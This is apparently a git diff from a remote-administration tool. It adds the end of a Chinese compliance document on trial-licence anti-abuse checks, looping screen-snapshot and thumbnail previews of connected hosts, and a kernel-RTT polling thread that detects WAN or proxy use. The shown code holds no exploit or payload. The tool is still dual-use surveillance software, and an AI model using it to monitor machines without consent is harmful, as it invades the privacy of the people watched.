| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `RttPollThreadProc` + `QuerySocketTcpRttUs`[`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::SetRttUs/GetRttUs`[`common/LANChecker.h`](../common/LANChecker.h) `class TcpRttBreachDetector` |
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialRttAbuse`(由 RTT 轮询线程 `PostMessage(WM_TRIAL_RTT_ABUSE)` 触发) |
| 信号源 | Win10 1703+ / Server 2016+ 提供的 `WSAIoctl(SIO_TCP_INFO)`,返回 `TCP_INFO_v0.RttUs`(内核测得的纯网络 RTT微秒精度不含任何应用层处理 |
| 阈值参数 | 20 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次 @1Hz(最快触发 ≥ 30 秒,是 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 的 5 倍) |
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含 ClientID + 真实 IP + median RTT全 server 进程一次性 latch`s_TrialRttWarned` CAS→ 主窗口 `MessageBox` 弹一次 |
| 启停 | 仅在主控自身为试用模式时(`StartServer``IsTrail(passcode)`)启动专用轮询线程;正式授权主控不启动,零运行时开销 |
| OS 不支持 | 首次 `WSAIoctl` 拿到 `WSAEOPNOTSUPP` 时打一行 `Mprintf` 日志后线程自杀;[1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 仍作为兜底 |
| 设计动机 | 服务端检测周期 30 svs 客户端 150 s更快识别直接挂公网的 abusive 部署;且代码运行于发行方 / 运营商可控的服务端二进制,比客户端校验更难绕过 |
| **已知局限(重要)** | `SIO_TCP_INFO` 测得的是**服务端 ↔ 直接 TCP 对端**的 RTT。任何在 TCP 层终结的代理FRP / ngrok / nginx / HAProxy / socat 等)会让服务端只看到"我 ↔ 代理"那段 LAN RTT**完全漏检 WAN 段**。本机制只能识别直挂公网 / NAT / VPN 等"不终结 TCP"的部署形态TCP 终结型代理由 [1.3](#13-应用层-rtt-反代理) 的端到端应用层 RTT 兜底(客户端心跳总耗时无法被任何中间层降低) |
| 范围 | 仅 `IOCPServer`TCPUDP / KCP 通道由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 继续兜底 |
---
## 2. 分档授权与对应限制
详见 [`Compliance_AntiAbuse.md` § 7](Compliance_AntiAbuse.md) 与 [`MultiLayerLicense.md`](MultiLayerLicense.md)。本表仅列对应的强制限制点:
| 授权档 | 强制限制 | 由哪一节技术措施实施 |
| --- | --- | --- |
| 无口令 | 监听端口 ≤ 2服务端并发 ≤ 2 | [1.2](#12-监听端口数量上限) + [1.5](#15-服务端硬性并发连接上限) |
| 试用口令 | 入站 IP 必须私网段;端口 ≤ 20客户端 RTT ≤ 25 ms服务端内核 RTT ≤ 20 ms周期回连授权服务器系统时钟可信 | [1.1](#11-入站连接源-ip-段校验) + [1.2](#12-监听端口数量上限) + [1.3](#13-应用层-rtt-反代理) + [1.4](#14-授权服务器周期心跳与超时熔断) + [1.6](#16-系统时钟篡改检测) + [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
| 正式授权 | 由签发协议另行约定,技术上解除 1.1 / 1.3 / 1.9 / 1.10 限制 | [1.8](#18-主控授权状态下发) 由服务端下发 `IsTrail=0` 触发客户端关闭;服务端 `IsTrail` 为假时 [1.9](#19-服务端入站-ip-段即时检测) / [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 均跳过 |
---
## 3. 演进时间线(合规相关提交)
按发布时间倒序排列。`SHA` 列为 `git log --oneline` 可直接核对的短哈希;任何
独立第三方均可在公开仓库通过 `git show <SHA>` 自行验证。
| 日期 | SHA | 主题 | 关联节 |
| --- | --- | --- | --- |
| 2026-05-16 | `7f95f00` | Compliance: Server-side anti-proxy — accept-time WAN-IP check + SIO_TCP_INFO kernel-RTT | [1.9](#19-服务端入站-ip-段即时检测) + [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) |
| 2026-05-15 | `4279e79` | Compliance fix: Move LAN RTT check to KernelManager heartbeat | [1.3](#13-应用层-rtt-反代理) / [1.8](#18-主控授权状态下发) |
| 2026-05-14 | `14387d6` | Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer | [1.3](#13-应用层-rtt-反代理) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) v1.0 发布 |
| —(既往) | — | `LANChecker` IP 段 / 端口数检测、`AuthTimeoutChecker` 授权心跳、`DateVerify` 时钟校验等机制 | [1.1](#11-入站连接源-ip-段校验) / [1.2](#12-监听端口数量上限) / [1.4](#14-授权服务器周期心跳与超时熔断) / [1.6](#16-系统时钟篡改检测) |
> 后续提交按 commit message 前缀 `Compliance:` 或 `Compliance fix:` 识别,加入本表。
---
## 4. 规划中的技术措施
> 以下条目为已确定方向但尚未合入主分支的工作项,列出便于审查方了解未来演进。
### 4.1 行为信号融合(占位)
`LANRttChecker` 源码注释中明示的"同源 IP 多 ClientID"行为信号待并入。
计划在授权服务器侧实现,与本仓库客户端 / 主控代码解耦。
针对 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 ——
合作型代理FRP / HAProxy发送 Proxy Protocol v2 头的情况已由 [1.9](#19-服务端入站-ip-段即时检测) 兜住;
不发 PP2 的代理socat、自制 TCP 转发)的残留盲区由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理)
端到端 RTT 兜底,本仓库内无进一步可加的服务端措施。后续考虑授权服务器侧"同源 IP 多 ClientID"
行为信号作为外部交叉验证。
---
## 5. 维护者注意事项
> **对未来修改本仓库的任何贡献者**:以下文件 / 模块的削弱、移除、绕过型修改
> 应被视为对发行方反滥用立场的直接违反PR 一律拒收。即使您是为了"优化体验"
> 或"修复误报",也请优先选择**调阈值 / 加白名单**而非**禁用机制**。
| 不可被静默削弱的内容 | 文件 |
| --- | --- |
| `LANChecker::CheckAndWarn` 中私网段判定逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
| `LANChecker::CheckPortLimit` 的端口数比对 | 同上 |
| `LANRttChecker::SetEnabled` 的启停语义 | 同上 |
| `LANRttChecker::RecordSample` 的滑窗 / 收敛 / 持续超阈逻辑 | 同上 |
| `AuthTimeoutChecker` 的超时熔断分支 | 同上 |
| `DateVerify::isTimeTampered` 的多 NTP 比对 | [`common/DateVerify.h`](../common/DateVerify.h) |
| 服务端 `m_nMaxConnection` 在未授权 / 失效校验时回落到 2 的分支 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
| 服务端 `MasterSettings.Authorized` / `IsTrail` 字段的真实填充逻辑 | 同上 |
| 客户端 `OnHeatbeatResponse``LANRttChecker` 的调用、`AuthTimeoutChecker` 的复位 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) |
| `TcpRttBreachDetector` 滑窗 / 收敛 / 持续超阈逻辑 | [`common/LANChecker.h`](../common/LANChecker.h) |
| `IOCPServer::OnAccept` 末段试用模式下的入站 IP 段判定PP2 真实 IP 优先) | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) |
| `IOCPServer::RttPollThreadProc` 试用模式判定、SIO_TCP_INFO 探测、per-context 检测器喂样 | 同上 |
| 主对话框 `OnTrialRttAbuse` / `OnTrialWanIpAbuse` 弹框 + 日志归档;`WM_TRIAL_RTT_ABUSE` / `WM_TRIAL_WAN_IP_ABUSE` 消息映射 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) |
| `LANChecker::IsPrivateIPv4Str` 字符串版私网段判定(被 §1.9 直接依赖) | [`common/LANChecker.h`](../common/LANChecker.h) |
允许的修改方向:
- 调整阈值参数(需在 PR 中给出新的统计依据);
- 新增告警通道(如增加日志落盘 / 加 webhook 通知),但不得替换原有告警通道;
- 提高检测精度(如本文档 §4 所列规划项);
- 修复 OS 兼容性 bug但不得以"OS 不支持"为由整体跳过试用档的检测。
---
## 6. 与政策文档的对照表
便于审查方在本仓库技术实现 ↔ `Compliance_AntiAbuse.md` 政策条款之间双向追溯。
| 政策条款 | 本文档节 |
| --- | --- |
| § 6.1 入站连接源 IP 段校验 | [1.1](#11-入站连接源-ip-段校验) |
| § 6.2 监听端口数量上限 | [1.2](#12-监听端口数量上限) |
| § 6.3 应用层 RTT 反代理 | [1.3](#13-应用层-rtt-反代理) + [1.9](#19-服务端入站-ip-段即时检测)(服务端即时 IP 段判定)+ [1.10](#110-服务端内核级-rtt-监测sio_tcp_info)(服务端内核级 RTT 补强) |
| § 6.4 授权服务器周期心跳 | [1.4](#14-授权服务器周期心跳与超时熔断) |
| § 6.5 措施的可被感知性 | 见各节"触发动作"列 |
| § 6.6 措施的合理性声明 | 见各节"已知局限"列 |
| § 7 授权分级与对应限制 | [2](#2-分档授权与对应限制) |
---
文档结束 / END OF DOCUMENT

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -87,6 +87,9 @@ bool IsDateGreaterOrEqual(const char* date1, const char* date2);
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2 // V2 文件传输协议分界日期(>= 此日期的客户端支持 V2
#define FILE_TRANSFER_V2_DATE "Feb 27 2026" #define FILE_TRANSFER_V2_DATE "Feb 27 2026"
// 大于此日期客户端支持更大的内存DLL
#define DLL_8MB_DATE "Apr 12 2026"
// 前向声明 // 前向声明
class CMy2015RemoteDlg; class CMy2015RemoteDlg;
extern CMy2015RemoteDlg* g_2015RemoteDlg; extern CMy2015RemoteDlg* g_2015RemoteDlg;
@@ -234,6 +237,77 @@ public:
// 用于在收到 JPEG 后调用 SetImageFromJpegDeletePopupWindow 释放时一并置空。 // 用于在收到 JPEG 后调用 SetImageFromJpegDeletePopupWindow 释放时一并置空。
class CPreviewTipWnd* m_pPreviewTip = nullptr; class CPreviewTipWnd* m_pPreviewTip = nullptr;
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号0 = 无待响应 WORD m_PreviewReqId = 0; // 当前期待的预览响应序号0 = 无待响应
// 屏幕预览响应消息载荷PostMessage WM_PREVIEW_RESPONSE 的 LPARAM 指向它)。
// IO 线程在 MessageHandle/TOKEN_SCREEN_PREVIEW_RSP 分支堆分配UI 线程消费后释放。
// 把 clientId 放进来是为了1) 循环快照场景按 clientId 路由到目标窗口;
// 2) 避免依赖 WPARAM —— 32 位 Windows 上 WPARAM 是 32 位,截 64 位 clientID。
struct PreviewRspMsg {
uint64_t clientId;
std::vector<BYTE> packet;
};
// "播放快照"循环模式:每个表项对应一台主机的浮窗 + 调度状态。
// 仅 UI 线程访问(菜单 / OnTimer / OnPreviewResponse / OnUserOfflineMsg /
// OnLoopTipDestroyed / Release不加锁context* 走 FindHost 在 m_cs 下取。
struct LoopTipEntry {
class CPreviewTipWnd* tip = nullptr;
WORD expectedReqId = 0; // 上次发请求时写入;响应时校验
WORD maxWidth = 480;
BYTE jpegQuality = 70;
};
std::map<uint64_t, LoopTipEntry> m_LoopTips;
WORD m_LoopReqId = 0; // 循环快照专用 reqId与 m_PreviewReqId 解耦
static const int LOOP_INTERVAL_MS = 3000; // 循环快照间隔(暂定 3 秒)
// 循环快照帮助函数(仅 UI 线程调用)
void OpenLoopTip(class context* ctx, CPoint anchor);
void CloseLoopTip(uint64_t clientID);
void CloseAllLoopTips();
void TickLoopTips();
void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry);
afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam);
// ===== 主机列表缩略图(在线列表第 0 列) =====
// 设计文档:纯主控端 UI 偏好,不进 MasterSettings 协议包。持久化走 THIS_CFG
// [thumbnail] 节。所有运行时状态仅 UI 线程访问。
struct ThumbnailSettings {
bool Enabled = true;
int RefreshIntervalSec = 30; // 单台主机的刷新周期
int ThumbWidth = 60; // 列表内显示宽度(高 = 9w/16
int NetReqWidth = 120; // 网络请求的源宽HiDPI 余量,>= ThumbWidth
int JpegQuality = 60; // 1..100
};
ThumbnailSettings m_ThumbnailCfg;
struct ThumbCacheEntry {
HBITMAP bmp = nullptr; // 预先缩到显示尺寸的 24bpp DIBBitBlt 友好
int w = 0;
int h = 0;
};
std::map<uint64_t, ThumbCacheEntry> m_HostThumbnails; // 缩略图缓存
std::map<uint64_t, DWORD> m_ThumbNextDueTick; // 下次到期 GetTickCount() 时间
std::set<uint64_t> m_ThumbnailPending; // 在飞的 clientId 集合
WORD m_ThumbnailReqId = 0; // 缩略图专用 reqId与 m_PreviewReqId / m_LoopReqId 解耦)
// 行高占位 ImageListCListCtrl 没有 SetRowHeight标准做法是装一个 1×rowH 的
// 空 ImageList 强行撑高行。关闭缩略图时换回 1×default或 detach让行高回缩。
CImageList m_thumbRowHeightImgList;
int m_thumbRowHeightApplied = 0; // 已应用的行高(避免重复创建)
// 一次性配置应用入口:加载/重新加载 m_ThumbnailCfg 后调用,处理:
// - 启动/停止 TIMER_THUMBNAIL_REFRESH
// - 列宽 / 行高 调整
// - 尺寸变化时丢弃旧缓存 HBITMAP
void ApplyThumbnailSettings();
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
void ClearThumbnailCacheEntry(uint64_t clientID);
void ClearAllThumbnailCache();
void InvalidateHostRow(uint64_t clientID); // 仅重绘对应行
// 记录 clientID心跳更新 // 记录 clientID心跳更新
std::set<uint64_t> m_DirtyClients; std::set<uint64_t> m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁) // 待处理的上线/下线事件(批量更新减少闪烁)
@@ -286,7 +360,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons CBitmap m_bmOnline[55]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -438,6 +512,8 @@ public:
afx_msg void OnWhatIsThis(); afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize(); afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
// 单击缩略图列COL_THUMBNAIL命中时弹出循环监视窗口其余列保持默认行为
afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult);
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数4K/超宽屏在 LAN 档自适应放大 // 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数4K/超宽屏在 LAN 档自适应放大
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const; void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
// 发起预览请求reqId 应与 m_PreviewReqId 同步 // 发起预览请求reqId 应与 m_PreviewReqId 同步
@@ -460,6 +536,8 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin(); afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnTrialRttAbuse(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet(); afx_msg void OnMainWallet();
afx_msg void OnMainNetwork(); afx_msg void OnMainNetwork();
afx_msg void OnToolRcedit(); afx_msg void OnToolRcedit();
@@ -494,6 +572,7 @@ public:
afx_msg void OnParamEnableLog(); afx_msg void OnParamEnableLog();
afx_msg void OnParamPrivacyWallpaper(); afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2(); afx_msg void OnParamFileV2();
afx_msg void OnParamThumbnailPreview();
afx_msg void OnParamRunAsUser(); afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard, bool autoRun=false); void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort(); afx_msg void OnProxyPort();
@@ -520,4 +599,5 @@ public:
afx_msg void OnCancelShare(); afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl(); afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun(); afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop();
}; };

View File

@@ -562,6 +562,7 @@
<Image Include="res\Bitmap\Settings.bmp" /> <Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Share.bmp" /> <Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\Show.bmp" /> <Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\Bitmap\Shutdown.bmp" /> <Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" /> <Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" /> <Image Include="res\Bitmap\Trial.bmp" />
@@ -589,6 +590,7 @@
<Image Include="res\password.ico" /> <Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" /> <Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" /> <Image Include="res\screen.ico" />
<Image Include="res\Snapshot.ico" />
<Image Include="res\system.ico" /> <Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" /> <Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" /> <Image Include="res\toolbar2.bmp" />
@@ -599,6 +601,11 @@
<Image Include="res\update.bmp" /> <Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" /> <Image Include="res\webcam.ico" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -212,6 +212,7 @@
<Image Include="res\password.ico" /> <Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" /> <Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" /> <Image Include="res\screen.ico" />
<Image Include="res\Snapshot.ico" />
<Image Include="res\system.ico" /> <Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" /> <Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" /> <Image Include="res\toolbar2.bmp" />
@@ -245,6 +246,7 @@
<Image Include="res\Bitmap\Logout.bmp" /> <Image Include="res\Bitmap\Logout.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\Show.bmp" /> <Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\Bitmap\Exit.bmp" /> <Image Include="res\Bitmap\Exit.bmp" />
<Image Include="res\Bitmap\Settings.bmp" /> <Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" /> <Image Include="res\Bitmap\Wallet.bmp" />
@@ -338,4 +340,9 @@
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier> <UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
</Filter> </Filter>
</ItemGroup> </ItemGroup>
<ItemGroup>
<None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" />
</ItemGroup>
</Project> </Project>

View File

@@ -7,6 +7,68 @@
#include <iostream> #include <iostream>
#include <ws2tcpip.h> #include <ws2tcpip.h>
// 服务端 RTT 反代理(试用版执法)。声明在主对话框 cpp 中,无单独头文件。
BOOL IsTrail(const std::string& passcode);
// ============================================================================
// SIO_TCP_INFO 兼容性 shim
//
// SIO_TCP_INFO 自 Win10 1703 / Server 2016 起提供,对应的 SDK 头声明只在
// NTDDI_VERSION >= NTDDI_WIN10_RS2 (0x0A000003) 时才可见。本项目当前
// _WIN32_WINNT=0x0602 / NTDDI_VERSION=0x06020000Win8整体上调宏会
// 波及其他模块,且会排除 Win8/8.1 用户。因此在此处本地声明常量与结构,
// 运行时若 OS 不支持WSAIoctl 会返回 WSAEOPNOTSUPP由探测代码静默降级。
//
// 结构体字段顺序严格遵循 MS 公开的 TCP_INFO_v0 定义,不要随意调整。
// ============================================================================
#ifndef SIO_TCP_INFO
#define SIO_TCP_INFO _WSAIORW(IOC_VENDOR, 39)
#endif
typedef struct _TCP_INFO_v0_local {
ULONG State; // TCPSTATE枚举按 4 字节读)
ULONG Mss;
ULONG64 ConnectionTimeMs;
UCHAR TimestampsEnabled;
UCHAR Pad_[3]; // 显式 padding让 RttUs 落在 4 字节边界
ULONG RttUs; // <-- 本文件唯一关心的字段
ULONG MinRttUs;
ULONG BytesInFlight;
ULONG Cwnd;
ULONG SndWnd;
ULONG RcvWnd;
ULONG RcvBuf;
ULONG64 BytesOut;
ULONG64 BytesIn;
ULONG BytesReordered;
ULONG BytesRetrans;
ULONG FastRetrans;
ULONG DupAcksIn;
ULONG TimeoutEpisodes;
UCHAR SynRetrans;
} TCP_INFO_v0_local;
// 读取 socket 的内核测得 RTT。成功返回 0 并写入 *rttUs失败返回 WSAGetLastError()。
static int QuerySocketTcpRttUs(SOCKET s, uint32_t* rttUs)
{
TCP_INFO_v0_local info; ZeroMemory(&info, sizeof(info));
DWORD ver = 0; // request v0
DWORD bytesReturned = 0;
int ret = WSAIoctl(s, SIO_TCP_INFO,
&ver, sizeof(ver),
&info, sizeof(info),
&bytesReturned, NULL, NULL);
if (ret == 0) {
if (rttUs) *rttUs = info.RttUs;
return 0;
}
return WSAGetLastError();
}
// 全 server 进程级 latchIP 段触发与 RTT 触发共用。多 server 实例(多端口监听)共享一份,
// 任一先触发后其余 server 与其它触发路径不再重复弹框。
std::atomic<bool> IOCPServer::s_TrialAbuseWarned{false};
// Proxy Protocol v2 签名 (12 字节) // Proxy Protocol v2 签名 (12 字节)
static const unsigned char PROXY_PROTOCOL_V2_SIGNATURE[12] = { static const unsigned char PROXY_PROTOCOL_V2_SIGNATURE[12] = {
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A 0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A
@@ -353,6 +415,13 @@ void IOCPServer::Destroy()
if (m_hKillEvent != NULL) { if (m_hKillEvent != NULL) {
SetEvent(m_hKillEvent); SetEvent(m_hKillEvent);
// RTT 轮询线程要等它退出后再关 m_hKillEvent否则线程仍在 WaitForSingleObject 上时
// 关句柄是 UB。监听 / 工作线程是用 m_bTimeToKill 兜底的,原有时序不动。
if (m_hRttThread != NULL) {
WaitForSingleObject(m_hRttThread, 5000);
SAFE_CLOSE_HANDLE(m_hRttThread);
m_hRttThread = NULL;
}
SAFE_CLOSE_HANDLE(m_hKillEvent); SAFE_CLOSE_HANDLE(m_hKillEvent);
m_hKillEvent = NULL; m_hKillEvent = NULL;
} }
@@ -414,7 +483,10 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
m_nPort = uPort; m_nPort = uPort;
m_NotifyProc = NotifyProc; m_NotifyProc = NotifyProc;
m_OfflineProc = OffProc; m_OfflineProc = OffProc;
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL); // manual-reset本进程内可能有多个等待者ListenThread / RttPollThreadProc
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout≤1s
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
m_hKillEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
if (m_hKillEvent==NULL) { if (m_hKillEvent==NULL) {
return 1; return 1;
@@ -507,6 +579,20 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
//启动工作线程 1 2 //启动工作线程 1 2
InitializeIOCP(); InitializeIOCP();
// 试用版反代理 RTT 轮询(仅在主控自身为试用模式时启动)。
// 检测信号来自内核 SIO_TCP_INFO详见 IOCPServer.h 头部 / RttPollThreadProc 注释。
{
std::string pwd = THIS_CFG.GetStr("settings", "Password", "");
m_bTrialMode = (IsTrail(pwd) == TRUE);
}
if (m_bTrialMode) {
m_hRttThread = CreateThread(NULL, 0, RttPollThreadProc, (void*)this, 0, NULL);
if (m_hRttThread == NULL) {
Mprintf("[Compliance] RTT poll thread spawn failed (err=%lu); LANRttChecker (client-side) remains as fallback.\n",
GetLastError());
}
}
return 0; return 0;
} }
@@ -823,6 +909,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
assert(ContextObject); assert(ContextObject);
// 输出服务端所发送的命令 // 输出服务端所发送的命令
int cmd = szBuffer[0]; int cmd = szBuffer[0];
#ifdef _DEBUG
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK && if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) { cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
char buf[100] = { 0 }; char buf[100] = { 0 };
@@ -833,6 +920,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
} }
Mprintf("[COMMAND] Send: %s\r\n", buf); Mprintf("[COMMAND] Send: %s\r\n", buf);
} }
#endif
try { try {
do { do {
if (ulOriginalLength <= 0) return FALSE; if (ulOriginalLength <= 0) return FALSE;
@@ -928,6 +1016,97 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
return FALSE; return FALSE;
} }
// ============================================================================
// 试用版反代理 —— 服务端 RTT 轮询线程
//
// 仅在主控自身处于试用模式IsTrail(passcode) == TRUE时由 StartServer 启动。
// 1 Hz 遍历 m_ContextConnectionList对每个活跃连接调 WSAIoctl(SIO_TCP_INFO) 取
// 内核测得的纯网络 RTT喂给 ctx->m_RttDetector。任一 detector 首次触发 →
// 通过 s_TrialAbuseWarned latch 抢一次 PostMessage 给主窗口弹框;其余 detector
// 仍照常运转(继续记日志),但不再重复弹框。
//
// 并发模型:对齐既有 IoRefCount / IsRemoved 模式 —— 持 m_cs snapshot 指针并
// 引用计数 ++,锁外做 WSAIoctl + 写 atomic最后引用计数 --。RemoveStaleContext
// 会等 IoRefCount==0 才回收,无悬空指针。
//
// 不支持 SIO_TCP_INFO 的 OSWin8 / Server 2012 等):首次探测命中
// WSAEOPNOTSUPP 时打日志后线程自行退出;客户端 LANRttChecker 仍作为兜底。
// ============================================================================
DWORD IOCPServer::RttPollThreadProc(LPVOID lParam)
{
IOCPServer* This = (IOCPServer*)lParam;
while (!This->m_bTimeToKill) {
DWORD waitRet = WaitForSingleObject(This->m_hKillEvent, 1000);
if (waitRet == WAIT_OBJECT_0 || waitRet == WAIT_FAILED) break;
if (This->m_bTimeToKill) break;
// —— 步骤 1持锁快照 + 占引用 —— 锁外才做 WSAIoctl避免阻塞其他 I/O
std::vector<PCONTEXT_OBJECT> snap;
EnterCriticalSection(&This->m_cs);
for (POSITION pos = This->m_ContextConnectionList.GetHeadPosition(); pos != NULL; ) {
PCONTEXT_OBJECT ctx = This->m_ContextConnectionList.GetNext(pos);
if (!ctx) continue;
if (ctx->IsRemoved.load(std::memory_order_acquire)) continue;
ctx->IoRefCount.fetch_add(1, std::memory_order_acq_rel);
snap.push_back(ctx);
}
LeaveCriticalSection(&This->m_cs);
// —— 步骤 2OS 兼容性探测(一次性,借第一个真实连接做) —— 探测失败的 OS
// 上整个线程不必再活,本次循环把已占的引用还掉就退出。
if (!This->m_bSioTcpInfoProbed.load(std::memory_order_acquire) && !snap.empty()) {
uint32_t probeRtt = 0;
int err = QuerySocketTcpRttUs(snap[0]->sClientSocket, &probeRtt);
if (err == WSAEOPNOTSUPP) {
Mprintf("[Compliance] SIO_TCP_INFO not supported by OS (WSAEOPNOTSUPP); "
"server-side RTT monitoring disabled. Client-side LANRttChecker remains active.\n");
This->m_bSioTcpInfoSupported.store(false, std::memory_order_release);
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
for (auto* c : snap) c->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
break;
}
